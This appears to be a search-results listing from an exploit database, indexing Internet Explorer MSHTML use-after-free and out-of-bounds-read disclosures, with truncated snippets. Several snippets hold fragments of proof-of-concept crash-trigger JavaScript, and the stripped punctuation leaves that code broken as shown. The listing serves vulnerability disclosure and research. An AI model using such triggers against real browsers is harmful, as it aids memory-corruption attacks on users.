471 matches found
Microsoft Internet Explorer 11 MSHTML CMapElement::Notify Use-After-Free
Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the tenth entry in that series. The below information is available in more detail on my blog at http://blog.skylined.nl/20161114001.html. Follow me on...
Microsoft Internet Explorer 11 - MSHTML CMapElement::Notify Use-After-Free (MS15-009)
Microsoft Internet Explorer 11 - MSHTML CMapElement::Notify Use-After-Free MS15-009 Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMapElemen...
Microsoft Internet Explorer 9-11 MSHTML - PROPERTYDESC::HandleStyleComponentProperty Out-of-Bound
Exploit for windows platform in category dos / poc // This PoC attempts to exploit a memory disclosure bug in Microsoft Internet // Explorer 11. On x64 systems, this should cause an access violation when // run with page-heap enabled, as the code attempts to read a byte // immediately following ...
Microsoft Internet Explorer 11/10/9 - MSHTML 'PROPERTYDESC::HandleStyleComponentProperty' Out-of-Bounds Read (MS16-104)
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet // Explorer 11. On x64 systems, this should cause an access violation when // run with page-heap enabled, as the code attempts to read a byte // immediately following a 4 byte memory block. // See...
Internet Explorer 9 MSHTML - CPtsTextParaclient::CountApes Out-of-Bounds Read
Microsoft Internet Explorer 9 suffers from a MSHTML CPtsTextParaclient::CountApes out-of-bounds read vulnerability. Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the third entry in that series. The below informati...
Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read
Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 =...
Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read
oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 = document.createElement'oElement2'; document.documentElement.appendChildoElement2; ; !--...
Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free Exploit
Exploit for windows platform in category dos / poc var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks ...
Microsoft Internet Explorer 11 MSHTML CView::CalculateImageImmunity Use-After-Free
Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the second entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161102001.html. There you can find a repro that...
Microsoft Internet Explorer 9 MSHTML CAttrArray Use-After-Free
Exploit for windows platform in category dos / poc Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the first entry in that series. The below information is also available on my blog at...
Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)
Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free MS14-056 oTextArea = document.createElement'textarea'; oTextArea.dataSrc = 1; oTextArea.id = 1; oTextArea.innerHTML = 1; oTextArea.onvolumechange = 1; oTextArea.style.setProperty'list-style', "url"; !-- Analysis The CAttrArray objec...
Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free
Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement;...
Microsoft Internet Explorer 11.0.9600.18482 - Use After Free
No description provided by source. body background-color:lime; font-color:red; ; / Exploit Title: Internet Explorer 11 Use After Free Date: 05/09/2016 - 11/09/2016 Exploit Author: Marcin Ressel Vendor Homepage: https://www.microsoft.com/pl-pl/ Version: 11.0.9600.18482 Tested on: Windows 7 x64 0:0...
Microsoft Internet Explorer - MSHTML!CMultiReadStreamLifetimeManager::ReleaseThreadStateInternal Read AV
function eventhandler1 CollectGarbage; function eventhandler5 try /FileReader/ var var00063 = new FileReader; catcherr //line 68 try /Blob/ var var00064 = new Blob; catcherr //line 69 try var00063.readAsDataURLvar00064; catcherr //line 70 iiThS9lJ8 A7...
Microsoft Internet Explorer: UAF in MSHTML!CSVGHelpers::SetAttributeStringAndPointer
No description provided by source...
Internet Explorer 11 MSHTML!CMarkupPointer - 释放后重用漏洞
No description provided by source...
Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free
Exploit for windows platform in category dos / poc body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11 latest Tested on: Windows 1...
Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free
Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11...
Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free
body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11 latest Tested on: Windows 10 x64 && Windows 7 x64...